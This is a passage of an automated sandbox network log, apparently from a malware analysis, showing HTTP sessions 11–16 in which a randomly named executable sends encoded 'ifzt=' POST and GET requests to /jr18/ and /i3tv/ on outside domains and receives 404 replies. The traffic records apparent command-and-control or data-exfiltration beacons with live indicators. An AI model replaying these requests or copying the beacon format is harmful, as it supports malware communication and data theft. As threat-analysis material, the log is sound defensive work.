11	192.168.2.4	49804	206.238.89.119	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:23.012981892 CET	10876	OUT	POST /jr18/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.127358.win Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.127358.win Referer: http://www.127358.win/jr18/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 36 41 51 7a 66 4e 74 6b 4a 70 4b 51 31 63 4d 70 56 4c 7a 68 66 52 52 4b 61 62 38 66 63 43 4a 6b 4e 37 6c 2f 68 43 56 65 57 2b 75 4d 4d 4c 48 52 51 34 72 58 36 65 5a 66 38 67 6c 75 71 43 6e 43 31 43 41 69 79 63 58 59 53 31 57 36 6f 50 4d 65 72 56 74 47 77 65 5a 30 75 6b 33 4a 71 2b 50 71 6d 59 67 38 59 58 6a 4f 53 66 4d 6e 7a 42 2f 33 55 6d 5a 41 68 45 71 79 4f 53 58 42 39 59 32 34 4f 2b 52 34 4b 5a 32 70 39 5a 53 77 4e 39 34 6a 79 52 59 42 77 4a 42 45 41 66 73 50 6c 6d 65 71 36 70 4c 67 66 71 48 67 35 76 76 42 2f 54 6f 75 71 43 41 72 6a 42 31 45 77 6e 6c 33 43 62 4c 78 31 38 56 6d 6b 61 35 47 2b 4c 44 4a 78 54 59 73 30 41 50 55 6d 73 70 70 4e 4b 54 67 48 34 56 31 7a 6f 50 2f 78 30 58 5a 6a 51 31 2f 65 46 6c 47 63 58 6a 39 4b 67 36 79 48 35 4d 38 6f 46 42 4b 63 2b 50 35 36 68 66 61 61 31 6c 59 39 37 47 4d 48 32 4f 65 71 39 38 59 61 6e 51 7a 50 79 33 56 34 44 36 41 4f 78 4a 61 52 37 47 67 61 68 61 32 69 79 5a 56 6a 4a 34 58 6e 74 44 65 39 5a 75 6c 7a 6a 72 45 41 75 6f 52 35 42 66 36 61 [TRUNCATED] Data Ascii: ifzt=6AQzfNtkJpKQ1cMpVLzhfRRKab8fcCJkN7l/hCVeW+uMMLHRQ4rX6eZf8gluqCnC1CAiycXYS1W6oPMerVtGweZ0uk3Jq+PqmYg8YXjOSfMnzB/3UmZAhEqyOSXB9Y24O+R4KZ2p9ZSwN94jyRYBwJBEAfsPlmeq6pLgfqHg5vvB/TouqCArjB1Ewnl3CbLx18Vmka5G+LDJxTYs0APUmsppNKTgH4V1zoP/x0XZjQ1/eFlGcXj9Kg6yH5M8oFBKc+P56hfaa1lY97GMH2Oeq98YanQzPy3V4D6AOxJaR7Ggaha2iyZVjJ4XntDe9ZulzjrEAuoR5Bf6aoG9/Ot5/wyDHq3UYzLoWhi1pnlAUyFB8WoDPWHanJ2vFwKkNiJdDUUa+lHTkTbNnMihDQemnMZVaViM/kPwCYFkBUuVNL+VeWhsARg294EyRLfsfmGpoNvI91kAX4+L823XZYgej9z4M9/6vUgdIGVGRrBucF709lzvS5+fmE6DD7Xbgkb42ST0V95P/QNIxv85jMzUqFTaWrIeO79pccTpo7BonuyCpKsg6NZe0uvC8ZAKv11idxTMgQKLTcJybcIlLocDOCMkYSkT5XnMTQwNfaO7ci3QNRkEdGKXmx2zC64vFteJ82euCBICEKWBiuM+5LGrdNJy4u7Me99F2xiGmCMjRWWIqgDEpDhRexLaiCVnb+Nq7YjytEOErBLUxzUMiOkfefdxxO4RuVnK7QEMjMJh63wo0BrynKhESIpXePTonKZfXX/9Vcu6OFKi/WcM4cx31630BOMQYgZMhk29gW3ALCrJWoC4jEwF3gxfqn6VM+aH6BCMx9ZydxsFxDWw1eGp0yTzsV36pf0/Zl3mYA8xE09N1r6P7Z9xb2eiVFx7weJEp+awNUl+w7r8G68ipEkbCl/hIVEh5Yeh0cQIoVqvg8jJYbxYP0xOqYlz1iGI3F7JrZRlnse0oP1CGz8CBghwSnBOgjNNod9p7fUWSz3W+gn0OA7 [TRUNCATED]
Nov 25, 2024 09:43:24.539942026 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:43:24 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49810	206.238.89.119	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:25.871084929 CET	514	OUT	GET /jr18/?ifzt=3C4Tc4Z0RY2s+tVmXeTOODIbYY0cZjMPNpxOrzRAWYWXOarDQI6T49to0R5yr2OUxBUw9rD3bXyFurU9wVp+2dZYmhq26qK0uIAUBFaEfelf6gXLCXJ0iXw=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.127358.win Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:43:27.326922894 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:43:27 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49830	212.123.41.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:33.514730930 CET	804	OUT	POST /i3tv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.caj-bioteaque.online Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.caj-bioteaque.online Referer: http://www.caj-bioteaque.online/i3tv/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 55 64 74 47 73 56 70 46 49 53 2b 7a 49 4e 4e 49 75 6f 59 41 35 42 2b 33 64 34 44 4d 70 48 62 79 4a 58 4a 73 6a 38 6a 52 38 38 53 68 45 30 6e 61 7a 6f 66 2f 43 75 59 33 33 64 4f 73 61 74 53 42 56 4a 74 62 2f 37 6d 59 6d 70 75 51 59 43 41 39 53 59 34 75 32 58 6c 39 4d 48 35 6d 30 45 33 5a 44 36 59 31 48 55 4c 58 49 59 61 56 41 32 64 77 66 71 6b 70 4e 49 53 50 44 44 32 6b 38 72 67 73 56 39 4c 6e 70 7a 68 6b 62 33 4b 49 53 6a 6d 78 54 36 4f 6a 5a 34 61 72 78 74 70 4c 61 6a 74 7a 2b 31 58 55 58 51 32 77 35 71 69 36 6e 4d 69 73 6a 70 4e 71 5a 79 72 6a 2b 6d 4b 66 46 68 4b 6f 66 77 3d 3d Data Ascii: ifzt=UdtGsVpFIS+zINNIuoYA5B+3d4DMpHbyJXJsj8jR88ShE0nazof/CuY33dOsatSBVJtb/7mYmpuQYCA9SY4u2Xl9MH5m0E3ZD6Y1HULXIYaVA2dwfqkpNISPDD2k8rgsV9Lnpzhkb3KISjmxT6OjZ4arxtpLajtz+1XUXQ2w5qi6nMisjpNqZyrj+mKfFhKofw==
Nov 25, 2024 09:43:34.856048107 CET	670	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 08:40:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close ETag: W/"5d07e7ed-36b" Content-Encoding: gzip Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED] Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49836	212.123.41.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:36.188087940 CET	824	OUT	POST /i3tv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.caj-bioteaque.online Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.caj-bioteaque.online Referer: http://www.caj-bioteaque.online/i3tv/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 55 64 74 47 73 56 70 46 49 53 2b 7a 49 74 39 49 74 4c 77 41 37 68 2b 30 52 59 44 4d 37 48 62 49 4a 58 46 73 6a 39 32 61 37 4f 32 68 46 57 2f 61 30 70 66 2f 44 75 59 33 2f 39 50 6b 58 4e 54 4e 56 4a 52 54 2f 2f 36 59 6d 70 36 51 59 44 77 39 52 76 4d 78 35 6e 6c 2f 46 6e 35 65 77 45 33 5a 44 36 59 31 48 56 76 78 49 59 43 56 41 43 5a 77 65 4f 49 71 4f 49 53 4f 55 7a 32 6b 34 72 67 6f 56 39 4c 2f 70 79 73 35 62 31 79 49 53 6e 32 78 54 70 57 6b 58 49 61 74 38 4e 6f 2f 62 78 41 61 2f 57 54 62 4b 7a 36 4b 39 4b 79 66 72 71 76 32 79 59 73 39 4c 79 50 51 6a 68 44 72 49 69 33 68 45 38 66 50 4f 69 72 2f 2b 32 51 74 70 50 74 6d 70 4f 6a 70 39 6f 38 3d Data Ascii: ifzt=UdtGsVpFIS+zIt9ItLwA7h+0RYDM7HbIJXFsj92a7O2hFW/a0pf/DuY3/9PkXNTNVJRT//6Ymp6QYDw9RvMx5nl/Fn5ewE3ZD6Y1HVvxIYCVACZweOIqOISOUz2k4rgoV9L/pys5b1yISn2xTpWkXIat8No/bxAa/WTbKz6K9Kyfrqv2yYs9LyPQjhDrIi3hE8fPOir/+2QtpPtmpOjp9o8=
Nov 25, 2024 09:43:37.476222992 CET	670	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 09:04:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close ETag: W/"5d07e874-36b" Content-Encoding: gzip Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED] Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49842	212.123.41.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:38.860346079 CET	10906	OUT	POST /i3tv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.caj-bioteaque.online Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.caj-bioteaque.online Referer: http://www.caj-bioteaque.online/i3tv/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 55 64 74 47 73 56 70 46 49 53 2b 7a 49 74 39 49 74 4c 77 41 37 68 2b 30 52 59 44 4d 37 48 62 49 4a 58 46 73 6a 39 32 61 37 4f 2b 68 45 6a 6a 61 79 4b 33 2f 41 75 59 33 31 64 50 6e 58 4e 53 58 56 4a 4a 58 2f 2f 33 74 6d 73 2b 51 5a 67 34 39 47 72 51 78 69 58 6c 2f 48 6e 35 6c 30 45 33 41 44 36 49 78 48 56 2f 78 49 59 43 56 41 44 70 77 5a 61 6b 71 49 49 53 50 44 44 32 6f 38 72 67 41 56 35 66 76 70 79 70 4f 62 46 53 49 53 48 6d 78 52 62 4f 6b 52 59 61 76 35 4e 6f 6e 62 78 4d 42 2f 56 32 71 4b 77 6d 67 39 49 75 66 39 4d 2b 62 71 6f 73 51 5a 43 2f 51 35 68 37 2b 4e 6c 66 78 44 4f 76 6b 65 77 62 68 6d 6b 45 32 30 66 34 54 38 76 6a 64 6e 76 36 38 66 78 46 48 45 54 61 50 74 70 46 56 6d 4e 4b 61 50 48 52 45 54 52 45 5a 37 33 33 46 38 45 39 72 6f 58 77 41 43 55 44 47 67 79 44 67 52 38 73 46 75 4c 32 51 33 42 61 44 38 43 5a 37 72 64 6b 71 6b 6f 39 39 57 6e 52 64 79 6c 34 55 30 58 6a 32 6f 48 77 4f 43 47 2b 70 61 63 36 6a 34 44 65 70 61 34 62 72 39 36 32 6a 2f 37 30 43 46 65 69 58 4c 33 53 79 65 [TRUNCATED] Data Ascii: ifzt=UdtGsVpFIS+zIt9ItLwA7h+0RYDM7HbIJXFsj92a7O+hEjjayK3/AuY31dPnXNSXVJJX//3tms+QZg49GrQxiXl/Hn5l0E3AD6IxHV/xIYCVADpwZakqIISPDD2o8rgAV5fvpypObFSISHmxRbOkRYav5NonbxMB/V2qKwmg9Iuf9M+bqosQZC/Q5h7+NlfxDOvkewbhmkE20f4T8vjdnv68fxFHETaPtpFVmNKaPHRETREZ733F8E9roXwACUDGgyDgR8sFuL2Q3BaD8CZ7rdkqko99WnRdyl4U0Xj2oHwOCG+pac6j4Depa4br962j/70CFeiXL3SyertOO6gBJepeCZC8m/xnXOf34Eni5A/AVeFtNfDVlLg+MVPndpc6pRYpELMUqYJwY08dtOICUL8ryTXLvtJwEWxs8UiPw4heMq046IGG3P6/rRyFfP/rBya9FNNYJ5/qQipMLyRICjukxSs/t1r/nnW99OYNV7Re5ezU3Di5hroMwXswHjongZrZwfNRAZ14A9U6jklumjbEb9T+gRhkAJt24ZCUpsyxog34ZMvB6aOdJMKr1z+VwVBOyuoVblhcY3MJ+S1C/aYuGtRTUZL2JOlAijzjIASPh6mQQVMbBptSpJB3BEgwYwkXVp3AgP/Tg2kbtUMLlqmz5u/5Pi8gOEfaqvdT1ed/Z9A+BXiciJUSxirF2AWLJD59HW8AZv1LlhO06v+42ZpVE93H22A/WF/Pq4fkr45f6XNjpRIcOq4DQeXNNodEfaQQelROcVJBqGrM6hvUwxSNyFO4EQv9VQCetO2K6ykMZgBpGgq4w6saCZL9rirgC14DriplfXIYF9ahNOrlmJblrVKAoNq9fIuy4tSEU/6PZ3hXhBbIm3RUBZMpc6bVs3rLiOcYCfc3g3ID0/z9QjfUL3oiqbCUe6zeuGzTwWPofshP4OjsHb/zcjM8RZht/KQTocnOYeFN5K1hNDEB6iEqJDJjyzdUA46eg9JllcJM+Vv [TRUNCATED]
Nov 25, 2024 09:43:40.150520086 CET	670	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 08:40:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close ETag: W/"5d07e7ed-36b" Content-Encoding: gzip Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED] Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49848	212.123.41.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:41.982048035 CET	524	OUT	GET /i3tv/?ifzt=ZfFmvi9Oe0q0E+s3tI8jowmrcKXFuAvLDG9tnsjazd2FMEfMyY6nK/4Bws6dZtaeRrlRwaDsvJ2Xfgg/epwI8XFwDGZNwHr0PbkZKGW1EbGZLzRKGsQFP6g=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.caj-bioteaque.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:43:43.245337963 CET	1047	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 09:04:31 GMT Content-Type: text/html Content-Length: 875 Connection: close ETag: "5d07e874-36b" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6f 6e 20 68 6f 6c 64 20 70 65 6e 64 69 6e 67 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><title>Verification of Contact Information</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Verification of Contact Information</h1><p>The domain is temporarily on hold pending verification of the email address of the Registrant as per the ICANN rules on Verification of Contact Information.</p><p>More details of these rules can be found at:<br/><a href="http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification">http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification</a>.</p><p>If you are the owner of this domain please contact your provider and request re-verification or follow the instructions emailed to you shortly after your order.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
